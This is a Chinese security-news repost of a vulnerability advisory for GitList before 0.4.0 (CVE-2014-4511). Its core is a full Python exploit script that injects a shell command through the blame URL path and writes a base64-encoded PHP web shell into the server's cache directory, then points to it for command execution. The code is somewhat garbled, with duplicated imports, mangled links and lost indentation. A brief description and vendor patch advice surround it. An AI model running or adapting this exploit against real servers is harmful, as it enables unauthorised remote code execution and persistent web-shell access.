华域联盟 漏洞资讯 GitList远程代码执行漏洞(CVE-2014-4511)

GitList远程代码执行漏洞(CVE-2014-4511)

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

复制代码 代码如下:

from commands import getoutput

import urllib

import sys

from commands import getoutput

import urllib

import sys

"""

Exploit Title: Gitlist <= 0.4.0 anonymous RCE

Date: 06/20/2014

Author: drone (@dronesec)

Vendor Homepage: <a href="https://www.cnhackhy.com/go/?url=http://gitlist.org/" >http://gitlist.org/</a>

Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>

Version: <= 0.4.0

Fixed in: 0.5.0

Tested on: Debian 7

More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>

cve: CVE-2014-4511

"""

if len(sys.argv) <= 1:

print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)

url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"

if len(sys.argv) > 2:

path = sys.argv[2]
print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used

mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)

mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)

if '500' in out:

print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:

print '[-] Failed to drop'

print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

本文由 华域联盟 原创撰写:华域联盟 » GitList远程代码执行漏洞(CVE-2014-4511)

转载请保留出处和原文链接:https://www.cnhackhy.com/160288.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部